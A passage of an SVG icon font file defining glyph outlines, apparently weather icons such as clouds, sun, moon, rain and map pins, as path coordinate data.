			C 70.28,356.434,0,269.368,0,164.97C0,38.536, 102.48-64, 228.928-64c 104.398,0, 191.52,70.322, 219.072,165.816
			C 417.48,84.26, 382.592,73.424, 344.862,73.424z"  />
<glyph unicode="&#xe264;" d="M 336,244c-5.306,0-10.332-0.854-15.428-1.554C 301.056,276.956, 264.964,300, 224,300c-41.832,0-77.924-23.324-97.174-57.4
		C 121.898,243.258, 116.97,244, 112,244c-61.74,0-112-50.232-112-112c0-61.796, 50.26-112, 112-112l 224,0 c 61.74,0, 112,50.204, 112,112C 448,193.768, 397.74,244, 336,244z M 336,76L 112,76 
		c-30.898,0-56,25.158-56,56c0,30.702, 27.174,54.39, 56.056,55.23c 0.112-13.202, 2.408-26.166, 7-38.416l 52.444,19.628
		C 169.148,174.658, 168,181.252, 168,188c0,30.87, 25.102,56, 56,56c 18.102,0, 34.51-8.974, 44.786-22.946C 241.78,200.6, 224,168.47, 224,132l 56,0 
		c0,30.87, 25.102,56, 56,56s 56-25.13, 56-56C 392,101.158, 366.898,76, 336,76z"  />
<glyph unicode="&#xe265;" d="M 335.972,300c-5.25,0-10.262-0.854-15.442-1.554C 301.084,332.956, 264.964,356, 224,356c-41.818,0-77.91-23.324-97.16-57.4
			C 121.898,299.258, 116.97,300, 112,300c-61.74,0-112-50.232-112-112s 50.26-112, 112-112l 223.972,0 c 61.796,0, 112,50.232, 112,112S 397.768,300, 335.972,300z M 335.972,132L 112,132 
			c-30.898,0-56,25.13-56,56c0,30.702, 27.174,54.39, 56.056,55.23c 0.126-13.202, 2.408-26.166, 7-38.416l 52.444,19.628
			C 169.148,230.658, 168,237.252, 168,244c0,30.87, 25.102,56, 56,56c 18.102,0, 34.51-8.974, 44.786-22.946C 241.794,256.6, 224,224.47, 224,188l 56,0 
			c0,30.87, 25.13,56, 55.972,56c 30.954,0, 56-25.13, 56-56S 366.926,132, 335.972,132zM 45.934-28.132c-10.5-10.5-27.566-10.5-38.066,0s-10.5,27.566,0,38.066S 84,48, 84,48S 56.434-17.632, 45.934-28.132zM 157.99-28.132c-10.5-10.5-27.51-10.5-38.066,0c-10.5,10.5-10.5,27.566,0,38.066
			C 130.48,20.434, 196.056,48, 196.056,48S 168.546-17.632, 157.99-28.132zM 269.92-28.132c-10.5-10.5-27.566-10.5-38.066,0s-10.5,27.566,0,38.066S 307.972,48, 307.972,48
			S 280.42-17.632, 269.92-28.132z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe266;" d="M 224,384C 100.52,384,0,283.508,0,160l 56,0 c0,11.564, 9.464,21, 21,21C 88.592,181, 98,171.564, 98,160l 56,0 
		c0,11.564, 9.464,21, 21,21c 11.592,0, 21-9.436, 21-21l0-140 c0-15.428-12.53-28-28-28c-15.428,0-28,12.572-28,28L 84,20 c0-46.326, 37.73-84, 84-84
		c 46.368,0, 84,37.674, 84,84L 252,160 c0,11.564, 9.464,21, 21,21c 11.592,0, 20.972-9.436, 20.972-21l 56,0 c0,11.564, 9.52,21, 21,21
		c 11.592,0, 21-9.436, 21-21l 56,0 C 447.972,283.508, 347.564,384, 224,384z" horiz-adv-x="447.125"  />
<glyph unicode="&#xe267;" d="M 309.918,109.25L 448,216L 280,216L 224,384L 168,216L0,216L 138.25,109.684L 84-64L 224.224,43.52L 364.112-64 		
			z"  />
<glyph unicode="&#xe268;" d="M 140,328c 22.428,0, 43.526-8.75, 59.388-24.64C 215.25,287.526, 224,266.428, 224,244s-8.75-43.526-24.22-58.982
			c-2.352-2.324-31.332-31.15-59.78-76.174c-28.322,44.954-57.204,73.668-59.388,75.796C 64.75,200.474, 56,221.572, 56,244s 8.75,43.526, 24.612,59.388
			S 117.572,328, 140,328 M 140,384C 104.174,384, 68.362,370.322, 41.020,342.98c-54.684-54.656-54.684-143.304,0-197.974C 41.020,145.020, 140,48, 140-64
			c0,112, 98.98,209.020, 98.98,209.020c 54.684,54.656, 54.684,143.304,0,197.974C 211.638,370.322, 175.826,384, 140,384L 140,384zM 112,244A28,28 1620 1 1 168,244A28,28 1620 1 1 112,244z" horiz-adv-x="280"  />
<glyph unicode="&#xe269;" d="M 238.98,342.98c-54.684,54.684-143.276,54.684-197.974,0c-54.684-54.656-54.684-143.332,0-197.96
				C 41.020,145.020, 140,48, 140-64c0,112, 98.98,209.020, 98.98,209.020C 293.678,199.648, 293.678,288.324, 238.98,342.98z M 140,188c-30.954,0-56,25.046-56,56
				s 25.046,56, 56,56s 56-25.046, 56-56S 170.954,188, 140,188z" horiz-adv-x="280"  />
<glyph unicode="&#xe26a;" d="M 112,384C 50.148,384,0,333.852,0,272s 112-336, 112-336s 112,274.148, 112,336S 173.852,384, 112,384z M 112,216c-30.926,0-56,25.074-56,56
		s 25.074,56, 56,56s 56-25.074, 56-56S 142.926,216, 112,216z" horiz-adv-x="224"  />
<glyph unicode="&#xe26b;" d="M 252.322,188.35l 81.046,0 c-10.276,39.704-41.342,70.798-81.046,81.046L 252.322,188.35 zM 252.322,131.65l0-81.018 c 39.704,10.22, 70.77,41.342, 81.046,81.018L 252.322,131.65 zM 195.622,188.35L 195.622,269.396 c-39.704-10.248-70.826-41.342-81.046-81.046L 195.622,188.35 zM 195.622,131.65L 114.576,131.65 c 10.22-39.676, 41.342-70.798, 81.046-81.018L 195.622,131.65 zM 252.322,327.258c 71.036-12.026, 126.868-67.872, 138.908-138.908L 448,188.35 C 435.036,290.704, 354.704,371.064, 252.322,384L 252.322,327.258 z
				M 56.714,188.35C 68.74,259.4, 124.572,315.232, 195.622,327.258L 195.622,384 C 93.296,371.064, 12.908,290.704,0,188.35L 56.714,188.35 zM 195.622-7.23c-71.036,12.026-126.868,67.816-138.908,138.88L0,131.65 C 12.908,29.296, 93.296-51.092, 195.622-64
				L 195.622-7.23 zM 391.23,131.65c-12.026-71.064-67.872-126.854-138.908-138.88L 252.322-64 C 354.704-51.092, 435.036,29.296, 448,131.65
				L 391.23,131.65 z"  />
<glyph unicode="&#xe26c;" d="M0-8L 336-8L 336-64L0-64zM 224,132L 224,384L 112,384L 112,132L 56,132L 168-8L 280,132 		z" horiz-adv-x="336"  />
<glyph unicode="&#xe26d;" d="M0,384L 336,384L 336,328L0,328zM 112,188L 112-64L 224-64L 224,188L 280,188L 168,328L 56,188 		z" horiz-adv-x="336"  />
<glyph unicode="&#xe26e;" d="M 336,328c-5.25,0-10.332-0.826-15.428-1.582C 301.056,360.97, 264.964,384, 224,384c-41.832,0-77.952-23.352-97.174-57.372
			C 121.898,327.286, 116.998,328, 112,328c-61.768,0-112-50.26-112-112s 50.232-112, 112-112l 84,0 l0-84 l-56,0 l 84-84l 84,84l-56,0 l0,84 l 84,0 c 61.796,0, 112,50.26, 112,112S 397.796,328, 336,328z M 336,160L 112,160 
			c-30.87,0-56,25.102-56,56c0,30.674, 27.202,54.418, 56.056,55.23c 0.112-13.174, 2.408-26.194, 7-38.444l 52.444,19.684C 169.176,258.658, 168,265.28, 168,272
			c0,30.898, 25.13,56, 56,56c 18.13,0, 34.482-8.974, 44.842-22.918C 241.78,284.628, 224,252.47, 224,216l 56,0 c0,30.898, 25.158,56, 56,56s 56-25.102, 56-56
			S 366.842,160, 336,160z"  />
<glyph unicode="&#xe26f;" d="M 336,328c-5.25,0-10.332-0.868-15.428-1.526C 301.056,360.928, 264.964,384, 224,384c-41.832,0-77.952-23.296-97.174-57.428
			C 121.898,327.23, 116.998,328, 112,328c-61.768,0-112-50.204-112-112s 50.232-112, 112-112l 224,0 c 61.796,0, 112,50.204, 112,112S 397.796,328, 336,328z M 336,160L 112,160 c-30.87,0-56,25.158-56,56
			c0,30.73, 27.202,54.362, 56.056,55.23C 112.168,258, 114.464,245.092, 119.056,232.842l 52.444,19.572C 169.176,258.658, 168,265.224, 168,272c0,30.842, 25.13,56, 56,56
			c 18.13,0, 34.482-8.974, 44.842-22.974C 241.78,284.572, 224,252.47, 224,216l 56,0 c0,30.842, 25.158,56, 56,56s 56-25.158, 56-56S 366.842,160, 336,160zM 224,104L 140,20L 196,20L 196-64L 252-64L 252,20L 308,20 		z"  />
<glyph unicode="&#xe270;" d="M 280,384l0-54.25 c0-22.428-8.75-43.526-24.556-59.332L 97.020,112.862C 71.974,87.872, 58.184,55.056, 56.658,20L0,20 
			l 84-84l 84,84L 112.602,20 c 1.47,20.132, 9.576,38.822, 23.954,53.27l 158.424,157.5C 321.454,257.23, 336,292.342, 336,329.75L 336,384 L 280,384 zM 335.342,20c-1.526,35.056-15.372,67.872-40.418,92.974l-31.22,31.010L 224,104.49l 31.388-31.22
			c 14.434-14.378, 22.526-33.138, 24.010-53.27L 224,20 l 84-84l 84,84L 335.342,20 z" horiz-adv-x="392"  />
<glyph unicode="&#xe271;" d="M 242.102,169.912l-39.606,39.606l-56-56c-27.342-27.342-27.342-71.666,0-98.994c 27.342-27.342, 71.652-27.342, 98.994,0l 141.708,138.306
	c 43.722,43.736, 43.722,114.632,0,158.382c-43.75,43.736-114.66,43.736-158.382,0L 73.122,198.892c-60.144-60.13-60.144-157.64,0-217.798
	c 60.144-60.144, 157.654-60.144, 217.784,0l 84,84L 335.3,104.7l-0.14-0.14l-83.846-83.86c-38.262-38.248-100.324-38.248-138.6,0
	c-38.262,38.248-38.262,100.324,0,138.586L 268.408,311.62c 21.868,21.868, 57.33,21.868, 79.184,0c 21.882-21.882, 21.882-57.358,0-79.198l-141.694-138.306
	c-5.474-5.474-14.322-5.474-19.796,0s-5.474,14.322,0,19.796L 242.102,169.912z"  />
<glyph unicode="&#xe272;" d="M 155.413,132c 6.508,31.956, 34.727,56, 68.597,56
			c 33.87,0, 62.088-24.044, 68.579-56l 28,0 c-6.855,47.359-47.324,84-96.579,84c-49.237,0-89.723-36.641-96.578-84L 155.413,132 z
			 M 224.010,244c 7.729,0, 14,6.271, 14,14l0,28 c0,7.729-6.271,14-14,14c-7.728,0-14-6.271-14-14l0-28 
			C 210.010,250.271, 216.282,244, 224.010,244z M 352.689,246.698c-5.468,5.469-14.327,5.469-19.797,0l-19.797-19.797
			c-5.468-5.469-5.468-14.328,0-19.797c 5.47-5.469, 14.329-5.469, 19.797,0l 19.797,19.797
			C 358.158,232.369, 358.158,241.229, 352.689,246.698z M 134.905,226.901l-19.797,19.797c-5.468,5.469-14.326,5.469-19.797,0
			c-5.468-5.469-5.468-14.328,0-19.797l 19.797-19.797c 5.47-5.469, 14.329-5.469, 19.797,0
			C 140.375,212.573, 140.375,221.432, 134.905,226.901z M 308.010,104l-168,0 c-7.728,0-14-6.271-14-14s 6.272-14, 14-14l 168,0 
			c 7.729,0, 14,6.271, 14,14S 315.738,104, 308.010,104z M 280.010,48l-112,0 c-7.728,0-14-6.271-14-14s 6.272-14, 14-14l 112,0 
			c 7.729,0, 14,6.271, 14,14S 287.738,48, 280.010,48z"  />
<glyph unicode="&#xe273;" d="M 224,258c-54.031,0-98-43.969-98-98c0-54.031, 43.969-98, 98-98
			s 98,43.969, 98,98C 322,214.031, 278.031,258, 224,258z M 224,90c-38.665,0-70,31.335-70,70s 31.335,70, 70,70s 70-31.335, 70-70
			S 262.664,90, 224,90z M 224,286c 7.729,0, 14,6.271, 14,14L 238,328 c0,7.729-6.271,14-14,14s-14-6.271-14-14l0-28 
			C 210,292.271, 216.271,286, 224,286z M 224,34c-7.729,0-14-6.271-14-14l0-28 c0-7.729, 6.271-14, 14-14s 14,6.271, 14,14l0,28 
			C 238,27.729, 231.729,34, 224,34z M 332.883,249.104l 19.797,19.797c 5.469,5.469, 5.469,14.328,0,19.797
			c-5.469,5.469-14.328,5.469-19.797,0l-19.797-19.797c-5.469-5.469-5.469-14.328,0-19.797
			C 318.554,243.635, 327.414,243.635, 332.883,249.104z M 115.117,70.895l-19.797-19.797c-5.469-5.468-5.469-14.327,0-19.796
			s 14.328-5.469, 19.797,0l 19.797,19.796c 5.469,5.487, 5.469,14.329,0,19.797C 129.446,76.365, 120.586,76.383, 115.117,70.895z M 98,160
			c0,7.729-6.271,14-14,14L 56,174 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 28,0 C 91.729,146, 98,152.271, 98,160z M 392,174l-28,0 
			c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 28,0 c 7.729,0, 14,6.271, 14,14S 399.729,174, 392,174z M 115.098,249.104
			c 5.47-5.469, 14.329-5.469, 19.797,0c 5.47,5.469, 5.47,14.328,0,19.797l-19.797,19.797c-5.469,5.469-14.327,5.469-19.797,0
			c-5.469-5.469-5.469-14.328,0-19.797L 115.098,249.104z M 332.902,70.914c-5.487,5.469-14.329,5.469-19.797,0
			c-5.47-5.469-5.487-14.328,0-19.797l 19.797-19.797c 5.468-5.469, 14.327-5.469, 19.796,0s 5.469,14.327,0,19.797L 332.902,70.914z"  />
<glyph unicode="&#xe274;" d="M 306.12,83.744c-43.642-43.676-114.698-43.676-158.375,0c-43.676,43.677-43.676,114.734,0,158.393
	c 11.558,11.539, 25.648,20.344, 41.853,26.085c 5.105,1.787, 10.756,0.492, 14.547-3.318c 3.829-3.828, 5.123-9.479, 3.319-14.547
	c-10.974-30.953-3.5-64.458, 19.468-87.427c 22.933-22.95, 56.438-30.406, 87.427-19.469c 5.068,1.804, 10.737,0.51, 14.547-3.318
	c 3.829-3.791, 5.105-9.46, 3.3-14.547C 326.5,109.392, 317.678,95.302, 306.12,83.744z M 167.542,222.34
	c-32.758-32.758-32.758-86.060,0-118.8c 35-35.018, 94.609-31.865, 125.125,7.146c-31.464-1.969-62.453,9.388-85.531,32.449
	c-23.078,23.060-34.416,54.050-32.449,85.513C 172.173,226.679, 169.784,224.582, 167.542,222.34z"  />
<glyph unicode="&#xe275;" d="M 237.125,272.875c 7.729,0, 14,6.271, 14,14L 251.125,314.875 c0,7.729-6.271,14-14,14s-14-6.271-14-14l0-28 
			C 223.125,279.146, 229.396,272.875, 237.125,272.875z M 237.125,20.875c-7.729,0-14-6.271-14-14l0-28 c0-7.729, 6.271-14, 14-14s 14,6.271, 14,14l0,28 
			C 251.125,14.604, 244.854,20.875, 237.125,20.875z M 128.242,57.77l-19.797-19.797c-5.469-5.468-5.469-14.327,0-19.796s 14.328-5.469, 19.797,0
			l 19.797,19.796c 5.469,5.487, 5.469,14.329,0,19.797C 142.571,63.24, 133.711,63.258, 128.242,57.77z M 111.125,146.875
			c0,7.729-6.271,14-14,14L 69.125,160.875 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 28,0 C 104.854,132.875, 111.125,139.146, 111.125,146.875z M 128.223,235.979
			c 5.47-5.469, 14.329-5.469, 19.797,0c 5.47,5.469, 5.47,14.328,0,19.797l-19.797,19.797c-5.469,5.469-14.327,5.469-19.797,0
			c-5.469-5.469-5.469-14.328,0-19.797L 128.223,235.979z M 293.125,244.875c-9.79,0-19.085-1.896-28-4.557
			c-8.915,2.662-18.21,4.557-28,4.557c-54.031,0-98-43.969-98-98s 43.969-98, 98-98c 9.79,0, 19.085,1.895, 28,4.558
			c 8.915-2.663, 18.21-4.558, 28-4.558c 54.031,0, 98,43.969, 98,98S 347.156,244.875, 293.125,244.875z M 223.325,78.26
			C 191.26,84.676, 167.125,112.933, 167.125,146.875c0,33.943, 24.135,62.198, 56.2,68.615C 205.917,197.789, 195.125,173.599, 195.125,146.875
			S 205.917,95.961, 223.325,78.26z"  />
<glyph unicode="&#xe276;" d="M 433.125,188.875l-71.422,0 C 354.648,251.693, 301.821,300.875, 237.125,300.875c-43.585,0-82.031-22.276-104.672-56L 41.125,244.875 
	c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 77.729,0 c-3.171-8.932-5.232-18.284-6.307-28L 69.125,188.875 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14
	l 43.422,0 c 1.075-9.698, 3.136-19.085, 6.307-28L 43.676,132.875 C 34.527,132.875, 27.125,126.604, 27.125,118.875s 7.402-14, 16.552-14l 88.777,0 
	c 22.641-33.742, 61.085-56, 104.672-56c 43.585,0, 82.031,22.258, 104.671,56l 32.778,0 c 9.15,0, 16.552,6.271, 16.552,14s-7.402,14-16.552,14
	l-19.177,0 c 3.171,8.915, 5.213,18.302, 6.307,28L 433.125,160.875 c 7.729,0, 14,6.271, 14,14S 440.854,188.875, 433.125,188.875z M 148.95,216.875L 237.125,216.875 
	c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14l-68.378,0 c 17.683,17.263, 41.763,28, 68.378,28c 49.255,0, 89.724-36.641, 96.578-84l-193.156,0 
	C 141.969,198.773, 144.777,208.162, 148.95,216.875z M 237.125,76.875c-26.615,0-50.696,10.755-68.378,28l 136.737,0 
	C 287.821,87.63, 263.74,76.875, 237.125,76.875z M 325.281,132.875L 148.95,132.875 c-4.174,8.713-6.982,18.102-8.403,28l 193.156,0 
	C 332.281,150.977, 329.473,141.588, 325.281,132.875z"  />
<glyph unicode="&#xe277;" d="M 377.125,216c-23.188,0-42-18.813-42-42c0-4.94, 1.021-9.588, 2.571-14L 69.125,160 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14
			l 308,0 c 23.188,0, 42,18.813, 42,42S 400.313,216, 377.125,216z M 69.125,188l 168,0 c 23.188,0, 42,18.813, 42,42s-18.813,42-42,42s-42-18.813-42-42
			c0-4.94, 1.021-9.588, 2.571-14L 69.125,216 c-7.729,0-14-6.271-14-14S 61.396,188, 69.125,188z M 293.125,104c-0.821,0-1.605-0.182-2.442-0.255
			c-0.547,0.036-1.003,0.255-1.55,0.255L 73.136,104 C 63.183,104, 55.125,97.729, 55.125,90s 8.058-14, 18.011-14l 180.56,0 
			c-1.55-4.412-2.571-9.079-2.571-14c0-23.188, 18.813-42, 42-42s 42,18.813, 42,42S 316.313,104, 293.125,104z"  />
<glyph unicode="&#xe278;" d="M 335.013,128.281l-28.547,16.48c 0.912,4.958, 1.531,10.026, 1.531,15.239c0,5.232-0.619,10.318-1.568,15.276
	l 28.547,16.497c 13.416,7.766, 17.974,24.883, 10.263,38.227c-7.747,13.398-24.828,17.992-38.227,10.281l-28.821-16.643
	c-7.71,6.563-16.497,11.74-26.196,15.185L 251.996,272 c0,15.459-12.523,28-28,28c-15.458,0-28-12.541-28-28l0-33.159 
	c-9.698-3.446-18.484-8.623-26.195-15.185l-28.766,16.607c-13.398,7.729-30.534,3.154-38.28-10.245
	c-7.711-13.38-3.117-30.497, 10.28-38.227l 28.493-16.461c-0.929-4.977-1.532-10.081-1.532-15.331
	c0-5.213, 0.602-10.3, 1.532-15.258l-28.511-16.46c-13.417-7.73-18.011-24.883-10.263-38.281
	c 7.71-13.344, 24.846-17.938, 38.263-10.227l 28.729,16.607c 7.711-6.563, 16.516-11.776, 26.25-15.24L 195.995,48 c0-15.477, 12.542-28, 28-28
	c 15.477,0, 28,12.523, 28,28l0,33.177 c 9.734,3.463, 18.54,8.641, 26.213,15.221l 28.802-16.624c 13.398-7.71, 30.516-3.117, 38.227,10.227
	C 352.987,103.398, 348.412,120.516, 335.013,128.281z M 195.997,160c0,15.459, 12.523,28, 28,28c 15.459,0, 28-12.541, 28-28
	c0-15.458-12.541-28-28-28C 208.521,132, 195.997,144.542, 195.997,160z"  />
<glyph unicode="&#xe279;" d="M 182,328c 7.729,0, 14,6.271, 14,14L 196,370 c0,7.729-6.271,14-14,14s-14-6.271-14-14l0-28 
			C 168,334.271, 174.271,328, 182,328z M 290.883,291.104l 19.797,19.797c 5.468,5.469, 5.468,14.328,0,19.797
			c-5.469,5.469-14.328,5.469-19.797,0l-19.797-19.797c-5.469-5.469-5.469-14.328,0-19.797
			C 276.554,285.635, 285.414,285.635, 290.883,291.104z M 14,188l 28,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 14,216 
			c-7.729,0-14-6.271-14-14S 6.271,188, 14,188z M 308,202c0-7.729, 6.271-14, 14-14l 28,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14l-28,0 
			C 314.271,216, 308,209.729, 308,202z M 73.098,291.104c 5.47-5.469, 14.329-5.469, 19.797,0c 5.47,5.469, 5.47,14.328,0,19.797
			L 73.098,330.698c-5.469,5.469-14.327,5.469-19.797,0c-5.469-5.469-5.469-14.328,0-19.797L 73.098,291.104z M 350,160
			c-4.648,0-9.242-0.328-13.818-0.984c-14.675,20.016-34.233,35.291-56.401,45.063C 278.652,257.125, 235.321,300, 182,300
			c-54.031,0-98-43.969-98-98c0-15.258, 3.792-29.531, 10.063-42.383C 41.891,157.484,0,114.664,0,62c0-54.031, 43.969-98, 98-98
			c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083-51.677, 190.313-64, 224-64c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301-33.813, 338.023-36, 350-36c 54.031,0, 98,43.969, 98,98S 404.031,160, 350,160z M 182,272c 34.835,0, 63.492-25.521, 68.87-58.844
			c-8.768,1.75-17.718,2.844-26.869,2.844c-40.196,0-77.438-17.335-103.578-46.594C 115.227,179.177, 112,190.151, 112,202
			C 112,240.664, 143.336,272, 182,272z M 350-8c-14.984,0-28.801,4.813-40.196,12.834C 289.261-19.922, 258.671-36, 224-36
			c-34.672,0-65.261,16.078-85.804,40.834C 126.821-3.188, 112.984-8, 98-8c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
			c 6.781,0, 13.179-1.276, 19.359-3.098c 2.46-0.693, 4.959-1.24, 7.273-2.206c 3.828,7.492, 8.641,14.347, 13.982,20.781
			C 159.068,172.086, 189.492,188, 224,188c 8.859,0, 17.355-1.276, 25.594-3.245c 9.242-2.187, 17.974-5.505, 26.105-9.88
			c 20.38-10.828, 37.114-27.599, 47.65-48.18C 331.571,130.086, 340.558,132, 350,132c 38.665,0, 70-31.335, 70-70S 388.664-8, 350-8z"  />
<glyph unicode="&#xe27a;" d="M 380.679,154.605c 4.266,3.172, 8.585,6.289, 12.45,10.153c 11.557,11.575, 20.362,25.666, 26.068,41.872
	c 1.823,5.068, 0.528,10.755-3.3,14.547c-3.81,3.828-9.46,5.122-14.545,3.318c-30.971-10.938-64.477-3.5-87.409,19.469
	C 290.974,266.934, 283.5,300.42, 294.474,331.373c 1.787,5.086, 0.51,10.737-3.318,14.565c-3.791,3.791-9.46,5.105-14.547,3.317
	C 260.385,343.496, 246.313,334.71, 234.755,323.152c-29.348-29.313-38.482-70.875-28.419-108.318c-37.844-4.831-71.859-24.938-94.518-55.819
	c-4.575,0.656-9.169,0.984-13.818,0.984c-54.031,0-98-43.969-98-98.001c0-54.030, 43.969-97.999, 98-97.999
	c 11.977,0, 23.698,2.188, 34.745,6.417C 158.082-51.676, 190.312-64, 223.999-64c 33.724,0, 65.916,12.323, 91.255,34.417
	C 326.301-33.813, 338.022-36, 349.999-36c 54.031,0, 98,43.969, 98,97.999C 448,105.258, 419.635,141.643, 380.679,154.605z
	 M 254.552,303.355c 2.224,2.26, 4.612,4.357, 7.128,6.325c-1.969-31.482, 9.388-62.453, 32.466-85.513
	c 23.079-23.078, 54.050-34.416, 85.532-32.466c-12.068-15.386-28.693-24.956-46.485-29.040
	c-23.953,30.406-59.154,49.547-97.963,52.664C 224.492,245.039, 230.781,279.584, 254.552,303.355z M 350-8
	c-14.984,0-28.801,4.813-40.196,12.834C 289.26-19.922, 258.671-36, 224-36c-34.672,0-65.261,16.078-85.804,40.834
	C 126.821-3.188, 112.985-8, 98-8c-38.665,0-70,31.335-70,69.999c0,38.665, 31.335,70, 70,70c 9.46,0, 18.429-1.915, 26.633-5.304
	c 17.665,34.436, 52.281,58.534, 93.023,60.85c 2.133,0.127, 4.211,0.456, 6.344,0.456c 11.302,0, 22.148-1.768, 32.375-4.885
	c 13.817-4.23, 26.415-11.12, 37.352-19.997c 10.446-8.477, 19.196-18.867, 26.085-30.534c 1.166-1.969, 2.48-3.828, 3.536-5.888
	c 8.222,3.391, 17.209,5.304, 26.652,5.304c 38.665,0, 70-31.335, 70-70S 388.664-8, 350-8z"  />
<glyph unicode="&#xe27b;" d="M 224,300.875c 7.729,0, 14,6.271, 14,14L 238,342.875 c0,7.729-6.271,14-14,14s-14-6.271-14-14l0-28 
			C 210,307.146, 216.271,300.875, 224,300.875z M 332.883,263.979l 19.797,19.797c 5.468,5.469, 5.468,14.328,0,19.797
			c-5.469,5.469-14.328,5.469-19.797,0l-19.797-19.797c-5.469-5.469-5.469-14.328,0-19.797S 327.414,258.51, 332.883,263.979z M 56,160.875l 28,0 
			c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 56,188.875 c-7.729,0-14-6.271-14-14S 48.271,160.875, 56,160.875z M 350,174.875c0-7.729, 6.271-14, 14-14l 28,0 
			c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14l-28,0 C 356.271,188.875, 350,182.604, 350,174.875z M 115.098,263.979c 5.47-5.469, 14.329-5.469, 19.797,0
			c 5.47,5.469, 5.47,14.328,0,19.797l-19.797,19.797c-5.469,5.469-14.327,5.469-19.797,0c-5.469-5.469-5.469-14.328,0-19.797
			L 115.098,263.979z M 127.422,160.875l 28,0 c-0.929,4.521-1.422,9.206-1.422,14c0,38.665, 31.335,70, 70,70c 38.665,0, 70-31.335, 70-70
			c0-4.794-0.492-9.479-1.422-14l 28,0 c 0.693,4.612, 1.422,9.206, 1.422,14c0,54.031-43.969,98-98,98s-98-43.969-98-98
			C 126,170.081, 126.766,165.487, 127.422,160.875z M 392,132.875L 56,132.875 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 336,0 c 7.729,0, 14,6.271, 14,14
			S 399.729,132.875, 392,132.875z M 392,76.875L 56,76.875 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 336,0 c 7.729,0, 14,6.271, 14,14S 399.729,76.875, 392,76.875z
			 M 392,20.875L 56,20.875 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 336,0 c 7.729,0, 14,6.271, 14,14S 399.729,20.875, 392,20.875z"  />
<glyph unicode="&#xe27c;" d="M 56,104.874l 336,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 56,132.874 c-7.729,0-14-6.271-14-14
			S 48.271,104.874, 56,104.874z M 392,76.874L 56,76.874 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 336,0 c 7.729,0, 14,6.271, 14,14
			S 399.729,76.874, 392,76.874z M 392,20.874L 56,20.874 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 336,0 c 7.729,0, 14,6.271, 14,14
			S 399.729,20.874, 392,20.874z M 179.412,160.875c-0.291,0.291-0.657,0.474-0.948,0.766c-32.758,32.758-32.758,86.042,0,118.818
			c 2.242,2.224, 4.611,4.338, 7.128,6.307c-1.97-31.463, 9.388-62.453, 32.466-85.513c 23.077-23.096, 54.066-34.416, 85.53-32.448
			c-2.334-2.971-5.14-5.359-7.784-7.929l 36.331,0 c 4.412,7.037, 8.094,14.656, 11.010,22.805c 1.768,5.122, 0.474,10.791-3.354,14.584
			c-3.755,3.81-9.443,5.122-14.546,3.317c-30.954-10.937-64.44-3.482-87.391,19.469c-22.97,22.969-30.443,56.456-19.47,87.409
			c 1.823,5.086, 0.51,10.737-3.317,14.565c-3.792,3.81-9.461,5.104-14.547,3.3c-16.206-5.724-30.297-14.528-41.854-26.068
			C 120.859,262.448, 115.919,204.206, 143.554,160.875L 179.412,160.875 z"  />
<glyph unicode="&#xe27d;" d="M 29.404,160C 28.492,164.521, 28,169.206, 28,174
			c0,38.665, 31.335,70, 70,70c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,274.916, 180.505,300, 224,300s 80.792-25.084, 99.348-61.323
			C 331.571,242.068, 340.558,244, 350,244c 38.665,0, 70-31.335, 70-70c0-4.794-0.492-9.479-1.422-14l 28,0 
			c 0.693,4.612, 1.422,9.206, 1.422,14c0,54.031-43.969,98-98,98c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,306.635, 268.789,328, 224,328s-86.023-21.365-112.182-56.984C 107.242,271.672, 102.648,272, 98,272C 43.969,272,0,228.031,0,174
			c0-4.794, 0.747-9.388, 1.422-14L 29.404,160 z M 434,132L 14,132 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 420,0 c 7.729,0, 14,6.271, 14,14
			S 441.729,132, 434,132z M 434,76L 14,76 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 420,0 c 7.729,0, 14,6.271, 14,14S 441.729,76, 434,76z
			 M 434,20L 14,20 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 420,0 c 7.729,0, 14,6.271, 14,14S 441.729,20, 434,20z"  />
<glyph unicode="&#xe27e;" d="M 98,244l 252,0 c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 98,272 c-7.729,0-14-6.271-14-14S 90.271,244, 98,244z
			 M 350,216L 98,216 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 252,0 c 7.729,0, 14,6.271, 14,14S 357.729,216, 350,216z M 350,160L 98,160 
			c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 252,0 c 7.729,0, 14,6.271, 14,14S 357.729,160, 350,160z M 350,104L 98,104 c-7.729,0-14-6.271-14-14
			s 6.271-14, 14-14l 252,0 c 7.729,0, 14,6.271, 14,14S 357.729,104, 350,104z"  />
<glyph unicode="&#xe27f;" d="M 350,244c-4.648,0-9.242-0.328-13.818-0.984
	C 310.042,278.635, 268.789,300, 224,300s-86.023-21.365-112.182-56.984C 107.242,243.672, 102.648,244, 98,244C 43.969,244,0,200.031,0,146
	c0-54.031, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,32.323, 190.313,20, 224,20
	c 33.724,0, 65.916,12.323, 91.255,34.416C 326.301,50.187, 338.023,48, 350,48c 54.031,0, 98,43.969, 98,98
	C 448,200.031, 404.031,244, 350,244z M 350,76c-14.984,0-28.801,4.813-40.196,12.834C 289.261,64.079, 258.671,48, 224,48
